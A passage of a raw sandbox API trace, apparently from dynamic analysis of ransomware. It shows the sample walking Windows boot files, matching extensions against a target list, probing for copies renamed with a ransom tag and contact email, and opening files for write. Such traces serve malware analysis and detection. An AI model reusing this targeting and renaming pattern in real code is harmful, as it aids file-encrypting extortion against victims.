[0141.340] lstrlenW (lpString=".rar") returned 4 [0141.340] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0141.340] lstrlenW (lpString=".bz2") returned 4 [0141.340] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0141.340] lstrlenW (lpString=".7z") returned 3 [0141.340] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0141.340] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0141.340] lstrlenW (lpString=".dbf") returned 4 [0141.340] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0141.340] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0141.340] lstrlenW (lpString=".1cd") returned 4 [0141.340] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0141.340] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0141.340] lstrlenW (lpString=".jpg") returned 4 [0141.340] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0141.340] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0141.340] lstrlenW (lpString="bootvhd.dll") returned 11 [0141.341] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0142.329] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=99744) returned 1 [0142.329] CloseHandle (hObject=0x1038) returned 1 [0142.329] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0142.329] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0142.329] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.329] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0142.329] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0142.329] lstrlenW (lpString=".doc") returned 4 [0142.329] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0142.329] lstrlenW (lpString=".docx") returned 5 [0142.329] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0142.329] lstrlenW (lpString=".pdf") returned 4 [0142.329] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0142.329] lstrlenW (lpString=".xls") returned 4 [0142.329] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0142.329] lstrlenW (lpString=".xlsx") returned 5 [0142.330] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0142.330] lstrlenW (lpString=".ppt") returned 4 [0142.330] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0142.330] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0142.330] lstrlenW (lpString=".zip") returned 4 [0142.330] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0142.330] lstrlenW (lpString=".rar") returned 4 [0142.330] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0142.330] lstrlenW (lpString=".bz2") returned 4 [0142.330] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0142.330] lstrlenW (lpString=".7z") returned 3 [0142.330] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0142.330] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0142.330] lstrlenW (lpString=".dbf") returned 4 [0142.330] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0142.330] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0142.330] lstrlenW (lpString=".1cd") returned 4 [0142.330] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0142.330] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0142.330] lstrlenW (lpString=".jpg") returned 4 [0142.330] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0142.330] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0142.330] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0142.330] lstrlenW (lpString=".doc") returned 4 [0142.330] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0142.330] lstrlenW (lpString=".docx") returned 5 [0142.330] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0142.330] lstrlenW (lpString=".pdf") returned 4 [0142.330] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0142.330] lstrlenW (lpString=".xls") returned 4 [0142.330] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0142.330] lstrlenW (lpString=".xlsx") returned 5 [0142.331] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0142.331] lstrlenW (lpString=".ppt") returned 4 [0142.331] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0142.331] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0142.331] lstrlenW (lpString=".zip") returned 4 [0142.331] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0142.331] lstrlenW (lpString=".rar") returned 4 [0142.331] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0142.331] lstrlenW (lpString=".bz2") returned 4 [0142.331] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0142.331] lstrlenW (lpString=".7z") returned 3 [0142.331] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0142.331] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0142.331] lstrlenW (lpString=".dbf") returned 4 [0142.331] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0142.331] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0142.331] lstrlenW (lpString=".1cd") returned 4 [0142.331] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0142.331] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0142.331] lstrlenW (lpString=".jpg") returned 4 [0142.331] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0142.331] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0142.331] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0142.331] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0142.332] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=76632) returned 1 [0142.332] CloseHandle (hObject=0x1038) returned 1 [0142.332] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0142.332] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0142.332] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.332] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0142.332] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0142.332] lstrlenW (lpString=".doc") returned 4 [0142.332] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0142.332] lstrlenW (lpString=".docx") returned 5 [0142.332] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0142.332] lstrlenW (lpString=".pdf") returned 4 [0142.332] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0142.332] lstrlenW (lpString=".xls") returned 4 [0142.332] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0142.332] lstrlenW (lpString=".xlsx") returned 5 [0142.332] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0142.332] lstrlenW (lpString=".ppt") returned 4 [0142.332] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0142.332] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0142.332] lstrlenW (lpString=".zip") returned 4 [0142.332] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0142.332] lstrlenW (lpString=".rar") returned 4 [0142.332] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0142.332] lstrlenW (lpString=".bz2") returned 4 [0142.333] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0142.333] lstrlenW (lpString=".7z") returned 3 [0142.333] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0142.333] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0142.333] lstrlenW (lpString=".dbf") returned 4 [0142.333] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0142.333] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0142.333] lstrlenW (lpString=".1cd") returned 4 [0142.333] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0142.333] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0142.333] lstrlenW (lpString=".jpg") returned 4 [0142.333] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0142.333] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0142.333] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0142.333] lstrlenW (lpString=".doc") returned 4 [0142.333] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0142.333] lstrlenW (lpString=".docx") returned 5 [0142.333] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0142.333] lstrlenW (lpString=".pdf") returned 4 [0142.333] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0142.333] lstrlenW (lpString=".xls") returned 4 [0142.333] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0142.333] lstrlenW (lpString=".xlsx") returned 5 [0142.333] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0142.333] lstrlenW (lpString=".ppt") returned 4 [0142.333] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0142.333] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0142.333] lstrlenW (lpString=".zip") returned 4 [0142.333] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0142.333] lstrlenW (lpString=".rar") returned 4 [0142.333] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0142.333] lstrlenW (lpString=".bz2") returned 4 [0142.334] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0142.334] lstrlenW (lpString=".7z") returned 3 [0142.334] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0142.334] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0142.334] lstrlenW (lpString=".dbf") returned 4 [0142.334] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0142.334] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0142.334] lstrlenW (lpString=".1cd") returned 4 [0142.334] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0142.334] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0142.334] lstrlenW (lpString=".jpg") returned 4 [0142.334] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0142.334] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0142.334] lstrlenW (lpString="memtest.exe.mui") returned 15 [0142.334] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0142.334] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=45472) returned 1 [0142.334] CloseHandle (hObject=0x1038) returned 1 [0142.334] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0142.334] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0142.335] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.335] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0142.335] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0142.335] lstrlenW (lpString=".doc") returned 4 [0142.335] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0142.335] lstrlenW (lpString=".docx") returned 5 [0142.335] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0142.335] lstrlenW (lpString=".pdf") returned 4 [0142.335] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0142.335] lstrlenW (lpString=".xls") returned 4 [0142.335] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0142.335] lstrlenW (lpString=".xlsx") returned 5 [0142.335] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0142.335] lstrlenW (lpString=".ppt") returned 4 [0142.335] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0142.335] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0142.335] lstrlenW (lpString=".zip") returned 4 [0142.335] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0142.335] lstrlenW (lpString=".rar") returned 4 [0142.335] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0142.335] lstrlenW (lpString=".bz2") returned 4 [0142.335] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0142.335] lstrlenW (lpString=".7z") returned 3 [0142.335] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0142.335] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0142.335] lstrlenW (lpString=".dbf") returned 4 [0142.335] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0142.335] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0142.335] lstrlenW (lpString=".1cd") returned 4 [0142.335] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0142.335] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0142.336] lstrlenW (lpString=".jpg") returned 4 [0142.336] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0142.336] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0142.336] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0142.336] lstrlenW (lpString=".doc") returned 4 [0142.336] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0142.336] lstrlenW (lpString=".docx") returned 5 [0142.336] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0142.336] lstrlenW (lpString=".pdf") returned 4 [0142.336] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0142.336] lstrlenW (lpString=".xls") returned 4 [0142.336] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0142.336] lstrlenW (lpString=".xlsx") returned 5 [0142.336] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0142.336] lstrlenW (lpString=".ppt") returned 4 [0142.336] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0142.336] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0142.336] lstrlenW (lpString=".zip") returned 4 [0142.336] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0142.336] lstrlenW (lpString=".rar") returned 4 [0142.336] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0142.336] lstrlenW (lpString=".bz2") returned 4 [0142.336] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0142.336] lstrlenW (lpString=".7z") returned 3 [0142.336] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0142.336] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0142.336] lstrlenW (lpString=".dbf") returned 4 [0142.336] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0142.336] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0142.336] lstrlenW (lpString=".1cd") returned 4 [0142.336] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0142.336] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0142.337] lstrlenW (lpString=".jpg") returned 4 [0142.337] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0142.337] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0142.337] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0142.337] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0142.337] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=75616) returned 1 [0142.337] CloseHandle (hObject=0x1038) returned 1 [0142.337] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0142.337] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0142.337] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.338] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0142.338] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0142.338] lstrlenW (lpString=".doc") returned 4 [0142.338] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0142.338] lstrlenW (lpString=".docx") returned 5 [0142.338] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0142.338] lstrlenW (lpString=".pdf") returned 4 [0142.338] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0142.338] lstrlenW (lpString=".xls") returned 4 [0142.338] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0142.338] lstrlenW (lpString=".xlsx") returned 5 [0142.338] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0142.338] lstrlenW (lpString=".ppt") returned 4 [0142.338] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0142.338] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0142.338] lstrlenW (lpString=".zip") returned 4 [0142.338] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0142.338] lstrlenW (lpString=".rar") returned 4 [0142.338] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0142.338] lstrlenW (lpString=".bz2") returned 4 [0142.338] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0142.338] lstrlenW (lpString=".7z") returned 3 [0142.338] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0142.338] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0142.338] lstrlenW (lpString=".dbf") returned 4 [0142.338] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0142.338] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0142.338] lstrlenW (lpString=".1cd") returned 4 [0142.338] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0142.338] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0142.338] lstrlenW (lpString=".jpg") returned 4 [0142.338] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0142.339] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0142.339] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0142.339] lstrlenW (lpString=".doc") returned 4 [0142.339] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0142.339] lstrlenW (lpString=".docx") returned 5 [0142.339] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0142.339] lstrlenW (lpString=".pdf") returned 4 [0142.339] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0142.339] lstrlenW (lpString=".xls") returned 4 [0142.339] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0142.339] lstrlenW (lpString=".xlsx") returned 5 [0142.339] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0142.339] lstrlenW (lpString=".ppt") returned 4 [0142.339] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0142.339] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0142.339] lstrlenW (lpString=".zip") returned 4 [0142.339] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0142.339] lstrlenW (lpString=".rar") returned 4 [0142.339] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0142.339] lstrlenW (lpString=".bz2") returned 4 [0142.339] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0142.339] lstrlenW (lpString=".7z") returned 3 [0142.339] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0142.339] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0142.339] lstrlenW (lpString=".dbf") returned 4 [0142.339] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0142.340] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0142.340] lstrlenW (lpString=".1cd") returned 4 [0142.340] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0142.340] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0142.340] lstrlenW (lpString=".jpg") returned 4 [0142.340] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0142.340] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0142.340] lstrlenW (lpString="memtest.exe.mui") returned 15 [0142.340] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0142.340] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=45472) returned 1 [0142.340] CloseHandle (hObject=0x1038) returned 1 [0142.340] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0142.340] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0142.340] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.341] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0142.341] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0142.341] lstrlenW (lpString=".doc") returned 4 [0142.341] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0142.341] lstrlenW (lpString=".docx") returned 5 [0142.341] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0142.341] lstrlenW (lpString=".pdf") returned 4 [0142.341] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0142.341] lstrlenW (lpString=".xls") returned 4 [0142.341] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0142.341] lstrlenW (lpString=".xlsx") returned 5 [0142.341] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0142.341] lstrlenW (lpString=".ppt") returned 4 [0142.341] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0142.341] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0142.341] lstrlenW (lpString=".zip") returned 4 [0142.341] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0142.341] lstrlenW (lpString=".rar") returned 4 [0142.341] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0142.341] lstrlenW (lpString=".bz2") returned 4 [0142.341] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0142.341] lstrlenW (lpString=".7z") returned 3 [0142.341] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0142.341] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0142.341] lstrlenW (lpString=".dbf") returned 4 [0142.341] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0142.341] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0142.341] lstrlenW (lpString=".1cd") returned 4 [0142.341] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0142.341] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0142.341] lstrlenW (lpString=".jpg") returned 4 [0142.341] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0142.342] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0142.342] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0142.342] lstrlenW (lpString=".doc") returned 4 [0142.342] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0142.342] lstrlenW (lpString=".docx") returned 5 [0142.342] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0142.342] lstrlenW (lpString=".pdf") returned 4 [0142.342] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0142.342] lstrlenW (lpString=".xls") returned 4 [0142.342] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0142.342] lstrlenW (lpString=".xlsx") returned 5 [0142.342] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0142.342] lstrlenW (lpString=".ppt") returned 4 [0142.342] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0142.342] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0142.342] lstrlenW (lpString=".zip") returned 4 [0142.342] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0142.342] lstrlenW (lpString=".rar") returned 4 [0142.342] lstrcmpiW (lpString1=".rar", 